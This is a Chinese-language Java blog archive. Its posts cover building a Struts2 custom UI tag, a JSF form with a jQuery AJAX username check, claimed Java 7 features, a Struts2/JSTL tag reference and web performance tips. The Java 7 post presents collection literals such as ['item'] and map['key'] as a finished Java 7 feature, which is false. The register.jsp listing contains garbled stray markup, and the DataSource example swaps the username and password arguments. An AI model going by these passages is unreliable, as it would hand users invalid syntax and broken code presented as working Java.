2010年6月21日
摘要: JSF学习笔记 JSF事件驱动型的MVC框架,与流行的struts比较学习,易于理解。jsf component event事件是指从浏览器由用户操作触发的事件,Struts application event 是用Action来接受浏览器表单提交的事件,一个表单只能对应一个事件,application event和component event相比是一种粗粒度的事件。优点:事件...
阅读全文
posted @
2011-05-30 21:48 junly 阅读(1253) |
评论 (2) |
编辑 收藏
Struts2 的UITag原理:
Struts2 UITag分三部份组成,一部份用于定义Tag的内容与逻辑的UIBean,一部份用于定义JSP Tag,也就是平时我们定义的那种,最后就是Template,它存放在你的theme目录之下,是一个FreeMarker模板文件。
我现在辑写一份MMTag,它主要是用于输出带链接的文字,比如像这样:
<cur:mm message="'I am a boy.'" />
就会输出:
<a href="http://www.blogjava.net/natlive">I am boy.</a>
我们先写UIBean部份:我们把它定义为MM,它继承于 org.apache.struts2.components.UIBean:
package limitstudy.corestruts2.tag;
import org.apache.struts2.components.UIBean;
import org.apache.struts2.views.annotations.StrutsTag;
import org.apache.struts2.views.annotations.StrutsTagAttribute;
import com.opensymphony.xwork2.util.ValueStack;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
@StrutsTag(name="mm", tldTagClass="limitstudy.corestruts2.tag.MMTag", description="MM")
public class MM extends UIBean {
private String message;
public MM(ValueStack stack, HttpServletRequest request, HttpServletResponse response) {
super(stack, request, response);
}
@Override
protected String getDefaultTemplate() {
return "mm";
}
@StrutsTagAttribute(description="set message", type="String")
public void setMessage(String message) {
this.message = message;
}
@Override
protected void evaluateExtraParams() {
super.evaluateExtraParams();
if (null != message) {
addParameter("message", findString(message));
}
}
}
* strutsTag注解指明了该UIBean的名字 和Tag类的类名。
* getDefaultTemplate()方法用于返回模板的名 字,Struts2会自动在后面加入.ftl扩展名以找到特定的模板文件。
* setXXX,设置UIBean的属性,一般Tag中有几个这样的属性,这里就有几个。@StrutsTagAttribute(description="set message", type="String") 注解,说明该属性是字符串(也可以是其它),这一步很重要。
* 覆写evaluateExtraParams() 方法,在UIBean初始化后会调用这个方法来初始化设定参数,如addParameter方法,会在freemarker里的parameters里加 入一个key value。这里要注意findString,还有相关的findxxxx方法,它们是已经封装好了的解释ognl语法的工具,具体是怎么样的,大家可以 查看一下UIBean的api doc。
然后是Tag部份:
package limitstudy.corestruts2.tag;
import org.apache.struts2.views.jsp.ui.AbstractUITag;
import org.apache.struts2.components.Component;
import com.opensymphony.xwork2.util.ValueStack;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class MMTag extends AbstractUITag {
private String message;
@Override
public Component getBean(ValueStack stack, HttpServletRequest request, HttpServletResponse response) {
return new MM(stack, request, response);
}
@Override
protected void populateParams() {
super.populateParams();
MM mm = (MM)component;
mm.setMessage(message);
}
public void setMessage(String message) {
this.message = message;
}
}
* getBean()返回该Tag中的UIBean。
* populateParams()初始化参数,一般用来初始化UIBean(Component)。
* setXXXX设置属性,和jsp tag是一样的。
在/WEB-INF/tlds/下建立current.tld文件(文名随你喜欢):
<?xml version="1.0" encoding="UTF-8"?>
<taglib xmlns="http://java.sun.com/xml/ns/j2ee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" version="2.0"
xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-jsptaglibrary_2_0.xsd">
<description>test</description>
<tlib-version>2.0</tlib-version>
<short-name>cur</short-name>
<uri>/cur</uri>
<tag>
<name>mm</name>
<tag-class>limitstudy.corestruts2.tag.MMTag</tag-class>
<body-content>JSP</body-content>
<attribute>
<name>message</name>
<required>true</required>
</attribute>
</tag>
</taglib>
在源代码目录中建立template/simple目录(这个目录名和你的theme有关),然后在里面建一个 mm.ftl文件:
<a href="http://www.yinsha.com">${parameters.message?html}</a>
建一个action测试一下,视图文件:
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ taglib prefix="s" uri="/struts-tags" %>
<%@ taglib prefix="cur" uri="/cur" %>
<html>
<head>
<title><s:property value="message" /></title>
</head>
<body>
<cur:mm message="haoahahhahaha" />
</body>
</html>
完。
PS: 写得有些粗鄙,所以,如有问题的,可以留言。
http://devilkirin.javaeye.com/blog/427395
http://xiaojianhx.javaeye.com/blog/482888
posted @
2011-05-30 21:43 junly 阅读(1112) |
评论 (1) |
编辑 收藏
Page
The following is register.jsp, which takes required information from user regarding registration. For this example, we focus only on validation of username and not the actual registration process.
The most important thing is to know how to access JSF component from JQuery. The id given to inputText is consisting of formid:componentid. So in this example the id given to textbox is registerform:username. But the presence of : (colon) causes problem to JQuery. So, we need to escape : (colon) using two \\ characters before colon - registerform\\:username.
//register.jsp
<%@page contentType="text/html" %>de">
<%@page contentType="text/html" %>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<script language="javascript" src="jquery-1.4.2.js"></script>
<script language="javascript">
function checkUsername(){
$.get( "checkusername.jsp",{username : $("#registerform\\:username").val()},updateUsername);
}
function updateUsername(response)
{
if (response) {
$("#usernameresult").text(response); // update SPAN item with result
}
</script>
<title>Registration</title>
</head>
<body>
<%@taglib prefix="f" uri="http://java.sun.com/jsf/core"%>
<%@taglib prefix="h" uri="http://java.sun.com/jsf/html"%>
<f:view>
<h2>Registration </h2>
<h:form id="registerform">
<table>
<tr>
<td>Username : </td>
<td><h:inputText id="username" value="#{userBean.username}" required="true" onblur="checkUsername()" />
<h:message for="username" />
<span id="usernameresult" />
</tr>
<tr>
<td>Password : </td>
<td><h:inputSecret id="password" value="#{userBean.password}" required="true" /> <h:message for="password" /> </td>
</tr>
<tr>
<td>Re-enter Password : </td>
<td><h:inputSecret id="confirmPwd" value="#{userBean.confirmPwd}" required="true" /> <h:message for="confirmPwd" /> </td>
</tr>
<tr>
<td>Email Address : </td>
<td><h:inputText id="email" value="#{userBean.email}" required="true" onblur="checkEmail()" /> <h:message for="email" /> </td>
<span id="emailresult" />
</tr>
</table>
<p/>
<h:commandButton actionListener="#{userBean.register}" value="Register" />
<p/>
<h3><h:outputText value="#{userBean.message}" escape="false" /> </h3>
<p/>
</h:form>
</f:view>
</body>
</html>lt;/f:view>
</body>
</html>
Bean
The above JSF Form uses
userBean, which is the name given to
beans.UserBean class. The class and its entries in
faces-config.xml file are given below.
UserBean is the managed bean that stores data coming from JSF form. It contains an action listener - register(), which is supposed to process the data to complete registration process. We don't deal with it as our focus is only on validating username.
//UserBean.java
package beans;
public class UserBean {
private String username, password, email,confirmPwd, message;
public UserBean() {
}
public String getPassword() {
return password;
}
public void setPassword(String password) {
this.password = password;
}
public String getUsername() {
return username;
}
public void setUsername(String username) {
this.username = username;
}
public String getConfirmPwd() {
return confirmPwd;
}
public void setConfirmPwd(String confirmPwd) {
this.confirmPwd = confirmPwd;
}
public String getEmail() {
return email;
}
public void setEmail(String email) {
this.email = email;
}
public String getMessage() {
return message;
}
public void setMessage(String message) {
this.message = message;
}
public void register(ActionEvent evt) {
if (! password.equals(confirmPwd))
{
message = "Password do not match!";
return;
}
// do registration
} // register
}
xml
The following entry is required in faces-config.xml for UserBean managed bean.
<!-- faces-config.xml -->
<managed-bean>
<managed-bean-name>userBean</managed-bean-name>
<managed-bean-class>beans.UserBean</managed-bean-class>
<managed-bean-scope>request</managed-bean-scope>
</managed-bean>
Check
Now create a checkusername.jsp to check whether given username is valid. It sends a message if username is already exists otherwise it sends empty string (nothing).
<%@ page import="java.sql.*" contentType="text/plain"%>
<%
String username = request.getParameter("username"); // sent from client
// connect to oracle using thin driver
Class.forName("oracle.jdbc.driver.OracleDriver");
Connection con = DriverManager.getConnection("jdbc:oracle:thin:@localhost:1521:xe","youruser","yourpassword");
PreparedStatement ps = con.prepareStatement("select username from users where username = ?");
ps.setString(1,username);
ResultSet rs = ps.executeQuery();
if ( rs.next()) { // found username
out.println("Username is already present!"); // send this to client
}
rs.close();
ps.close();
con.close();
%>
Deploy and Test
Now deploy the web application and run register.jsp. If you enter a username that is already present in USERS table then we get message - Username is already present - in SPAN item on the right of username field. If username is unique then SPAN item is set to empty string ( as JSP returns nothing). from:http://www.srikanthtechnologies.com/blog/java/jquerywithjsf.aspx
posted @
2011-05-30 21:38 junly 阅读(768) |
评论 (0) |
编辑 收藏
Java 7已经完成的7大新功能:
1 对集合类的语言支持;
2 自动资源管理;
3 改进的通用实例创建类型推断;
4 数字字面量下划线支持;
5 switch中使用string;
6 二进制字面量;
7 简化可变参数方法调用。
下面我们来仔细看一下这7大新功能:
1 对集合类的语言支持
Java将包含对创建集合类的第一类语言支持。这意味着集合类的创建可以像Ruby和Perl那样了。
原本需要这样:
List<String> list = new ArrayList<String>();
list.add("item");
String item = list.get(0);
Set<String> set = new HashSet<String>();
set.add("item");
Map<String, Integer> map = new HashMap<String, Integer>();
map.put("key", 1);
int value = map.get("key");
现在你可以这样:
List<String> list = ["item"];
String item = list[0];
Set<String> set = {"item"};
Map<String, Integer> map = {"key" : 1};
int value = map["key"];
这些集合是不可变的。
2 自动资源管理
Java中某些资源是需要手动关闭的,如InputStream,Writes,Sockets,Sql classes等。这个新的语言特性允许try语句本身申请更多的资源,
这些资源作用于try代码块,并自动关闭。
这个:
BufferedReader br = new BufferedReader(new FileReader(path));
try {
return br.readLine();
} finally {
br.close();
}
变成了这个:
try (BufferedReader br = new BufferedReader(new FileReader(path)) {
return br.readLine();
}
你可以定义关闭多个资源:
try (
InputStream in = new FileInputStream(src);
OutputStream out = new FileOutputStream(dest))
{
// code
}
为了支持这个行为,所有可关闭的类将被修改为可以实现一个Closable(可关闭的)接口。
3 增强的对通用实例创建(diamond)的类型推断
类型推断是一个特殊的烦恼,下面的代码:
Map<String, List<String>> anagrams = new HashMap<String, List<String>>();
通过类型推断后变成:
Map<String, List<String>> anagrams = new HashMap<>();
这个<>被叫做diamond(钻石)运算符,这个运算符从引用的声明中推断类型。
4 数字字面量下划线支持
很长的数字可读性不好,在Java 7中可以使用下划线分隔长int以及long了,如:
int one_million = 1_000_000;
运算时先去除下划线,如:1_1 * 10 = 110,120 – 1_0 = 110
5 switch中使用string
以前你在switch中只能使用number或enum。现在你可以使用string了:
String s = ...
switch(s) {
case "quux":
processQuux(s);
// fall-through
case "foo":
case "bar":
processFooOrBar(s);
break;
case "baz":
processBaz(s);
// fall-through
default:
processDefault(s);
break;
}
6 二进制字面量
由于继承C语言,Java代码在传统上迫使程序员只能使用十进制,八进制或十六进制来表示数(numbers)。
由于很少的域是以bit导向的,这种限制可能导致错误。你现在可以使用0b前缀创建二进制字面量:
int binary = 0b1001_1001;
现在,你可以使用二进制字面量这种表示方式,并且使用非常简短的代码,可将二进制字符转换为数据类型,如在byte或short。
byte aByte = (byte)0b001;
short aShort = (short)0b010;
7 简化的可变参数调用
当程序员试图使用一个不可具体化的可变参数并调用一个*varargs* (可变)方法时,编辑器会生成一个“非安全操作”的警告。
JDK 7将警告从call转移到了方法声明(methord declaration)的过程中。这样API设计者就可以使用vararg,因为警告的数量大大减少了。
posted @
2011-03-18 15:21 junly 阅读(16833) |
评论 (9) |
编辑 收藏
A:
<s:a href=""></s:a>-----超链接,类似于html里的<a></a>
<s:action name=""></s:action>-----执行一个view里面的一个action
<s:actionerror/>-----如果action的errors有值那么显示出来
<s:actionmessage/>-----如果action的message有值那么显示出来
<s:append var="newMerList">-----添加一个值到list,类似于list.add();
<s:param value="merList1"></s:param>
<s:param value="merList2"></s:param>
</s:append>
<s:autocompleter></s:autocompleter>-----自动完成<s:combobox>标签的内容,这个是ajax
B:
<s:bean name=""></s:bean>-----类似于struts1.x中的,JavaBean的值
C:
<s:checkbox></s:checkbox>-----复选框
<s:checkboxlist list=""></s:checkboxlist>-----多选框
<s:combobox list=""></s:combobox>-----下拉框
<s:component></s:component>-----图像符号
D:
<s:date name="time" format="yyyy/MM/dd"/>-----获取日期格式
<s:datetimepicker></s:datetimepicker>-----日期输入框
<s:debug></s:debug>-----显示错误信息
<s:div></s:div>-----表示一个块,类似于html的<div></div>
<s:doubleselect list="#appVar3" listKey="id" listValue="name" name="" doubleName="chinagra.chinagraCategory.id" -----双下拉框
doubleId="mid" doubleList="#appVar4.get(top.id)" doubleListKey="id" doubleListValue="title" theme="simple"/>
List<Category> categories = chinagraService.searchProblemCategories();;
Map<Long, List<ChinagraCategory>> chinagraCategories = new HashMap<Long, List<ChinagraCategory>>();
for(Category category : categories) {
chinagraCategories.put(category.getId(), chinagraCategoryService.queryByType(category.getId().toString()));
}
E:
<s:if test=""></s:if>
<s:elseif test=""></s:elseif>
<s:else></s:else>-----这3个标签一起使用,表示条件判断
F:
<s:fielderror></s:fielderror>-----显示文件错误信息
<s:file></s:file>-----文件上传
<s:form action=""></s:form>-----获取相应form的值
G:
<s:generator separator="'aaa,bbb,ccc,ddd'" val=",">
<s:iterator>
<s:property/>
</s:iterator>
</s:generator>----和<s:iterator>标签一起使用
H:
<s:head/>-----在<head></head>里使用,表示头文件结束
<s:hidden name="user.name" value="junly"/></s:hidden>-----隐藏值
I:
<s:i18n name=""></s:i18n>-----加载资源包到值堆栈
<s:include value=""></s:include>-----包含一个输出,servlet或jsp页面
<s:inputtransferselect list=""></s:inputtransferselect>-----获取form的一个输入
<s:iterator value="userlist" var="user" status="s">
<s:if test="#s.index == 0">
<s:property value="name"/>
</s:if>
<s:property value="#s.even"/>
<s:property value="#s.odd"/>
<s:property value="#s.first"/>
<s:property value="#s.last"/>
<s:property value="#s.count"/>
</s:iterator>-----用于遍历集合
<s:if test="#list.size > 0 "></s:if>-----判断 ActionContext.getContext().put("list", lists);
<s:elseif test="list.size > 0 "></s:elseif>
<s:else></s:else>
<s:if test="searchCondition.filter!=null">
L:
<s:label></s:label>-----只读的标签
M:
<s:merge></s:merge>-----合并遍历集合出来的值
O:
<s:optgroup></s:optgroup>-----获取标签组
<s:optiontransferselect doubleList="" list="" doubleName=""></s:optiontransferselect>-----左右选择框
P:
<s:param name="pageSize" value="pageSize"/></s:param>-----为其他标签提供参数
<s:password></s:password>-----密码输入框
<s:property value="user.name" />-----得到'value'的属性
<s:push value=""></s:push>-----value的值push到栈中,从而使property标签的能够获取value的属性
R:
<s:radio name="type" list="#{0:'拍卖会',1:'展会'}" value="0"></s:radio>-----单选按钮
<s:reset></s:reset>-----重置按钮
S:
<s:select list=""></s:select>-----单选框
<s:set name=""></s:set>-----赋予变量一个特定范围内的值
<s:sort comparator=""></s:sort>-----通过属性给list分类
<s:submit></s:submit>-----提交按钮
<s:subset source="#subList" start="1" count="2">-----为遍历集合输出子集
<s:iterator>
<s:property/>
</s:iterator>
</s:subset>
T:
<s:tabbedPanel id=""></s:tabbedPanel>-----表格框
<s:table></s:table>-----表格
<s:text name="error"/></s:text>-----I18n文本信息
<s:textarea></s:textarea>-----文本域输入框
<s:textfield></s:textfield>-----文本输入框
<s:token></s:token>-----拦截器
<s:tree></s:tree>-----树
<s:treenode label=""></s:treenode>-----树的结构
U:
<s:updownselect list=""></s:updownselect>-----多选择框
<s:url value="/academy/get-detail.action?academyInfo.id=${id}"></s:url>-----创建url
<s:url action="search-big.action" escapeAmp="false" namespace="/problem">
<s:param name="name" value="%{'all'}"/>
<s:param name="id" value="0"/>
<s:param name="sex" value="user.sex"/>
</s:url>
JSTL语法及参数
JSTL包含以下的标签:
常用的标签:如<c:out>、<c:remove>、<c:catch>、<c:set>等
条件标签:如<c:if><c:when>、<c:choose>、<c:otherwise>等
URL标签:如<c:import>、<c:redirect>和<c:url>等
XML标签:如<xml:out>等
国际化输出标签:如<fmt:timeZone>等
SQL标签:如<sql:query>、<sql:update>、<sql:transaction>等
一般用途的标签:
1.<c:out>
没有Body时的语法
<c:out value=”value” [escapeXml=”{true|false}”] [default=”defaultValue”]/>
有Body时的语法
<c:out value=”value” [escapeXml=”{true|false}”]>
这里是Body部分
</c:out>
名字 类型 描述
value Object 将要输出的表达式
escapeXml boolean 确定以下字符:<,>,&,’,”在字符串中是否被除数,默认为true
default Object 如果vaule计算后的结果是null,那么输出这个默认值
2.<c:set>
这个标签用于在某个范围(page、request、session、application等)中使用某个名字设定特定的值,或者设定某个已经存在的javabean对象的属性。他类似于<%request.setAttrbute(“name”,”value”);%>
语法1:使用value属性设定一个特定范围中的属性。
<c:set value=”value” var=”varName” [scope=”{page|request|session|application}”]/>
语法2:使用value属性设定一个特定范围中的属性,并带有一个Body。
<c:set var=”varName” [scope=”{page|request|session|application}”]>
Body部分
</c:set>
语法3:设置某个特定对象的一个属性。
<c:set value=”value” target=”target” property=”propertyName”/>
语法4:设置某个特定对象的一个属性,并带有一个Body。
<c:set target=”target” property=”propertyName”>
Body部分
</c:set>
名字 类型 描述
value Object 将要计算的表到式。
var String 用于表示value 值的属性,如果要在其他标签中使用,就是通过这 个var指定的值来进行的。它相当于在标签定义了一个变量,并且这个变量只能在标签中的一个。
scope String var的有效范围,可以是page|request|session|application中的一个
target String 将要设置属性的对象,它必须是javabean或则java.util.Map对象
property Object 待设定的Target对象中的属性名字,比如在javabean中有个name属性,提供了setUserId方法,那么这里填userId。
3.<c:remove>
<c:remove var=”varName” [scope=”{page|request|session|application}”]/>
4.<c:catch>
这个标签相当于捕获在它里边的标签抛出的异常对象
<c:catch [var=”varName”]> //var是异常的名字
内容
</c:catch>
条件标签
1. <c:if>
语法1:无Body情况
<c:if test=”testCondition” var=”varName” [scope=”page|request|session|application”]/>
语法2:有Body的情况
<c:if test=”testCondition” var=”varName” [scope=”page|request|session|application”]>
Body内容
</c:if>
名字 类型 描述
test Boolean 表达式的条件,相当于if()中的条件判断语句。
var String 表示这个语句的名字。
scope String var这个变量的作用范围。
2.<c:choose>
语法:<c:choose>
Body内容(<c:when>和<c:otherwise>子标签)
</c:choose>
注意:它的Body只能由以下元素组成:
1) 空格
2) 0或多个<c:when>子标签,<c:when>必须在<c:otherwise>标签之前出现.
3) 0个或多个<c:otherwise>子标签。
<c:choose>
<c:when test="${param.age>70}">
欢迎老年人
</c:when>
<c:when test="${param.age<70 and param.age>35}">
欢迎中年人
</c:when>
<c:otherwise>
您的年龄有误!
</c:otherwise>
</c:choose>
3.<c:when>
代表的是<c:choose>的一个条件分支,只能在<c:choose>中使用
语法:<c:when test=”testCondition”> //test是boolean类型,用于判断条件真假
Body语句
</c:when>
4.<c:otherwise>
代表的是<c:choose>中的最后选择。必须在最后出现
<c:otherwise>
内容
</c:otherwise>
迭代标签
1.<c:forEach>
语法1:在Collection中迭代
<c:forEach[var=”varName”] items=”collection” [varStatus=”varStatusName”]
[begin=”begin”] [end=”end”] [step=”step”]
Body内容
</c:foeEach>
语法2:迭代固定的次数.
<c:forEach [var=”varName”] [varStatus=”varStatusName”]
[begin=”begin”] [end=”end”] [step=”step”]
Body内容
</c:foeEach>
名字 类型 描述
var String 迭代的参数,它是标签参数,在其他标签中通过它来引用这个标签中的内容。
Items Collection、ArrayList、 要迭代的items集合.
Iterator、Map、String、
Eunmeration等
VarStatus String 表示迭代的状态,可以访问迭代自身的信息
Begin int 表示开始迭代的位置。
End int 表示结束迭代的位置。
Step int 表示迭代移动的步长,默认为1。
URL相关的标签
1.<c:import>
语法1:资源的内容使用String对象向外暴露
<c:import url=”url” [context=”context”]
[var=”varName”] [scope=”{page|request|session|application}”] [charEncoding=”charEncoding”]>
内容
</c:import>
语法2:资源的内容使用Reader对象向外暴露。
<c:import url=”url” [context=”context”]
varReader=”varReaderName” [charEncoding=”charEncoding”]>
内容
</c:import>
名字 类型 描述
url String 待导入资源的URL,可以是相对路径和绝对路径,并且可以导入其他主机资源
context String 当使用相对路径访问外部context资源时,context指定了这个资源的名字。
var String 参数的名字。
scope String var参数的作用范围。
cahrEncoding String 输入资源的字符编码。
varReader String 这个参数的类型是Reader,用于读取资源。
2.<c:redirct>
语法1:没有Body的情况.
<c:redirect url=”value” [context=”context”]/>
语法2:有Body情况下,在Body中指定查询的参数
<c:redirect url=”value” [context=”context”]>
<c:param name=”name” value=”value”/>
</c:redirect>
3.<c:url>
语法1:没有Body
<c:url value=”value” [context=”context”] [var=”varName”] [scope=”{page|request|session+application}”]/>
语法2:有Body
<c:url value=”value” [context=”context”] [var=”varName”] [scope=”{page|request|session+application}”]>
<c:param name=”name” value=”value”/>
</c:url>
名字 类型 描述
value String URL值
context String 当使用相对路径访问外部context资源时,context指定了这个资源的名字
var String 标识这个URL标量。
Scope String 变量作用范围。
SQL相关的标签
1.<sql:setDataSource>
2.<sql:query>
3.<sql:update>
4.<transaction>
5.<param>
posted @
2010-11-22 10:41 junly 阅读(400) |
评论 (0) |
编辑 收藏
1 对Collection、Map接口的类对象初始化时要先分配合理的空间大小,同时还要按照自已的实际需求选择合适的对象。
例如:声明Vector vect=new Vector()时,系统调用:
public Vector() {
// 缺省构造函数
this(10);
// 容量是
10;}
缺省分配10个对象大小容量。
2 优化循环体
循环是比较重复运行的地方,如果循环次数很大,循环体内不好的代码对效率的影响就会被放大而变的突出。
3 少用new初始化一个实例
尽量少用new来初始化一个类的实例,当一个对象是用new进行初始化时,其构造函数链的所有构造函数都被调用到,所以new操作符是很消耗系统资源的,new一个对象耗时往往是局部变量赋值耗时的上千倍。同时,当生成对象后,系统还要花时间进行垃圾回收和处理。当new创建对象不可避免时,注意避免多次的使用new初始化一个对象。尽量在使用时再创建该对象,另外,应该尽量重复使用一个对象,而不是声明新的同类对象。一个重用对象的方法是改变对象的值,如可以通过setValue之类的方法改变对象的变量达到重用的目的。
4 选择合适的方法调用:
在Java中,一切都是对象,如果有方法(Method)调用,处理器先要检查该方法是属于哪个对象,该对象是否有效,对象属于什么类型,然后选择合适的方法并调用。可以减少方法的调用,不影响可读性等情况下,可以把几个小的方法合成一个大的方法。另外,在方法前加上final,private关键字有利于编译器的优化。
5异常处理技巧
异常是Java的一种错误处理机制,对程序来说是非常有用的,但是异常对性能不利。抛出异常首先要创建一个新的对象,并进行相关的处理,造成系统的开销,所以异常应该用在错误处理的情况,不应该用来控制程序流程,流程尽量用while,if等处理。在不是很影响代码健壮性的前提下,可以把几个try/catch块合成一个。
6 尽量使用局部变量
尽量使用局部变量,调用方法时传递的参数以及在调用中创建的临时变量都保存在栈(Stack) 中,速度较快。其他变量,如静态变量、实例变量等,都在堆(Heap)中创建,速度较慢。
7同步处理技巧
同步主要出现在多线程的情况,为多线程同时运行时提供对象数据安全的机制,多线程是比较复杂话题,应用多线程也是为了获得性能的提升,应该尽可能减少同步。
另外,如果需要同步的地方,可以减少同步的代码段,如只同步某个方法或函数,而不是整个代码。
8 尽可能的使用Java自身提供的API
Java的API一般都做了性能的考虑,如果完成相同的功能,优先使用API而不是自己写的代码,如数组复制。
9 尽量减少I/O操作
输入/输出(I/O)包括很多方面,我们知道,进行I/O操作是很消耗系统资源的。程序中应该尽量少用I/O操作。使用时可以注意: . 合理控制输出函数System.out.println()对于大多时候是有用的,特别是系统调试的时候,但也会产生大量的信息出现在控制台和日志上,同时输出时,有序列化和同步的过程,造成了开销。
特别是在发行版中,要合理的控制输出,可以在项目开发时,设计好一个Debug的工具类,在该类中可以实现输出开关,输出的级别,根据不同的情况进行不同的输出的控制。
10 尽量使用缓存
读写内存要比读写硬盘上的文件要快很多,应尽可能使用缓冲,以便直接从内存中读取数据。尽可能使用带有Buffer的类代替没有Buffer的类,如可以用BufferedReader 代替Reader,用BufferedWriter代替Writer来进行处理I/O操作。
同样可以用BufferedInputStream代替InputStream都可以获得性能的提高
11 尽量不使用同步:
Servlet是多线程的,以处理不同的请求,基于前面同步的分析,如果有太多的同步就失去了多线程的优势了。
12 不用保存太多的信息在HttpSession中
很多时候,存储一些对象在HttpSession中是有必要的,可以加快系统的开发,如网上商店系统会把购物车信息保存在该用户的Session中,但当存储大量的信息或是大的对象在会话中时,是有害的,特别是当系统中用户的访问量很大,对内存的需求就会很高。具体开发时,在这两者之间应作好权衡。
13清除SESSION:
通常情况,当达到设定的超时时间时,同时有些Session没有了活动,服务器会释放这些没有活动的Session,.. 不过这种情况下,特别是多用户并访时,系统内存要维护多个的无效Session。当用户退出时,应该手动释放,回收资源,实现如下:..
HttpSession theSession = request.getSession();
// 获取当前Session
if(theSession != null){
theSession.invalidate(); // 使该Session失效
}
14 缓存Home接口
EJB库使用Enterprise Bean 的客户端通过它的Home接口创建它的实例。客户端能通过JNDI访问它。服务器通过Lookup方法来获取。
JNDI是个远程对象,通过RMI方式调用,对它的访问往往是比较费时的。所以,在设计时可以设计一个类专门用来缓存Home接口,在系统初始化时就获得需要的Home接口并缓存,以后的引用只要引用缓存即可。
15 使用快速度的Jdbc驱动
JDBC API包括两种实现接口形式,一种是纯Java实现的驱动,一种利用ODBC驱动和数据库客户端实现,具体有四种驱动模式:
第一类:JDBC-ODBC桥,再加上ODBC驱动程序。
JDBC驱动程序是JDBC-ODBC桥再加上一个ODBC驱动程序。建议第一类驱动程序只用于原型开发,而不要用于正式的运行环境。桥接驱动程序由Sun提供,它的目标是支持传统的数据库系统。Sun为该软件提供关键问题的补丁,但不为该软件的最终用户提供支持。一般地,桥接驱动程序用于已经在ODBC技术上投资的情形,例如已经投资了Windows应用服务器。
尽管Sun提供了JDBC-ODBC桥接驱动程序,但由于ODBC会在客户端装载二进制代码和数据库客户端代码,这种技术不适用于高事务性的环境。另外,第一类JDBC驱动程序不支持完整的Java命令集,而是局限于ODBC驱动程序的功能,这种驱动方式也叫胖客户,主要用于低并发请求,大数据量传输的应用。
第二类:本机API,部分是Java的驱动程序。
JDBC驱动程序是本机API的部分Java代码的驱动程序,用于把JDBC调用转换成主流数据库API的本机调用。这类驱动程序也存在与第一类驱动程序一样的性能问题,即客户端载入二进制代码的问题,而且它们被绑定了特定的平台。
第二类驱动程序要求编写面向特定平台的代码,主流的数据库厂商,例如Oracle和IBM,都为它们的企业数据库平台提供了第二类驱动程序,使用这些驱动程序的开发者必须及时跟进不同数据库厂商针对不同操作系统发行的各个驱动程序版本。
另外,由于第二类驱动程序没有使用纯Java的API,把Java应用连接到数据源时,往往必须执行一些额外的配置工作。很多时候,第二类驱动程序不能在体系结构上与大型主机的数据源兼容;即使做到了兼容,效果也是比较差。
第三类:面向数据库中间件的纯Java驱动程序。
JDBC驱动程序是面向数据库中间件的纯Java驱动程序,JDBC调用被转换成一种中间件厂商的协议,中间件再把这些调用转换到数据库API。第三类JDBC驱动程序的优点是它以服务器为基础,也就是不再需要客户端的本机代码,这使第三类驱动程序要比第一、二两类快。另外,开发者还可以利用单一的驱动程序连接到多种数据库。
第四类:直接面向数据库的纯Java驱动程序。
JDBC驱动程序是直接面向数据库的纯Java驱动程序,即所谓的“瘦”(thin)驱动程序,它把JDBC调用转换成某种直接可被DBMS使用的网络协议,这样,客户机和应用服务器可以直接调用DBMS服务器。对于第四类驱动程序,不同DBMS的驱动程序不同。因此,在一个异构计算环境中,驱动程序的数量可能会比较多。但是,由于第四类驱动程序具有较高的性能,能够直接访问DBMS,所以这一问题就不那么突出了, 这种驱动方式,主要用于高并发,低数据量请求的应用中。
16 使用Jdbc链接池
为了提高访问数据库的性能,我们还可以使用JDBC 2.0的一些规范和特性,JDBC是占用资源的,在使用数据库连接时可以使用连接池Connection Pooling,避免频繁打开、关闭Connection。而我们知道,获取Connection是比较消耗系统资源的。
Connection缓冲池:当一个应用程序关闭一个数据库连接时,这个连接并不真正释放而是被循环利用,建立连接是消耗较大的操作,循环利用连接可以显著的提高性能,因为可以减少新连接的建立。
一个通过DataSource获取缓冲池获得连接,并连接到一个CustomerDB数据源的代码演示如下:
Context ctx = new InitialContext();
DataSource dataSource = (DataSource) ctx.lookup("jdbc/CustomerDB");
Connection conn = dataSource.getConnection("password","username");
17 缓存DataSorce
一个DataSource对象代表一个实际的数据源。这个数据源可以是从关系数据库到表格形式的文件,完全依赖于它是怎样实现的,一个数据源对象注册到JNDI名字服务后,应用程序就可以从JNDI服务器上取得该对象,并使用之和数据源建立连接。
通过上面的例子,我们知道DataSource是从连接池获得连接的一种方式,通过JNDI方式获得,是占用资源的。
为了避免再次的JNDI调用,可以系统中缓存要使用的DataSource。
18 即时关闭使用过的资源
互联网应用系统一般是并发的系统,在每次申请和使用完资源后,应该释放供别人使用,使用完成后应该保证彻底的释放。
19 架构选型
CoreMediaCMS将整个应用分成四成架构,每一层都可以独立于其他层而正常运行,每一层都可以分布式布署,极大的提高了应用系统的稳定性、可扩展性、支持高并发的要求,每一次之前通过中间件Corba进行稳定的传输数据。
20 开发框架的选型
充分利用开源框架,可以大大提高开发效率。很多初级开发者,都采用DB+JavaBean+JSP这种初级的开发模式,而现在主要使用Struts、Spring等MVC开发框架。
常用开发框架构选型有:
Struts、Spring、Webwork等。
天极传媒选择的开发框架是:Struts+Spring+iBatis,在这个开发框架里,充分利用了Struts、Spring各自己的优点,可以选择Stuts MVC,也可以选择Spring MVC。
21 分级存储
1)数据库数据分级存储:
将经常访问的数据和访问频度低的数据,分别存放到不同的分区,甚至存放到不同的数据库服务器,以便合进分配硬盘I/O及系统I/O。
2)网站内容发布之后,分级存储:
任何一个大型的网站,一般都有海量的内容,为了提高访问效率,应搭建分级存储体系,根据应用的重要性和访问并发要求,将这些内容分级存储,同时将静态内容中的静态页面文件、图片文件、下载文件分不同的Web服务器访问,降低I/O争用,提高访问效率,同时让数据存储、管理、备份更加清晰。
22 页面静态化
一个大型网站,既有静态内容,也有动态内容。静态内容,直接通过Apache或者Squid访问,效率高,稳定可靠,更多的是受服务器等硬件设备的I/O吞吐量、网络环境及页面代码本身质量限制,不受应用系统及数据库性能限制,这些内容往往访问速度和效率不会有较大的问题。
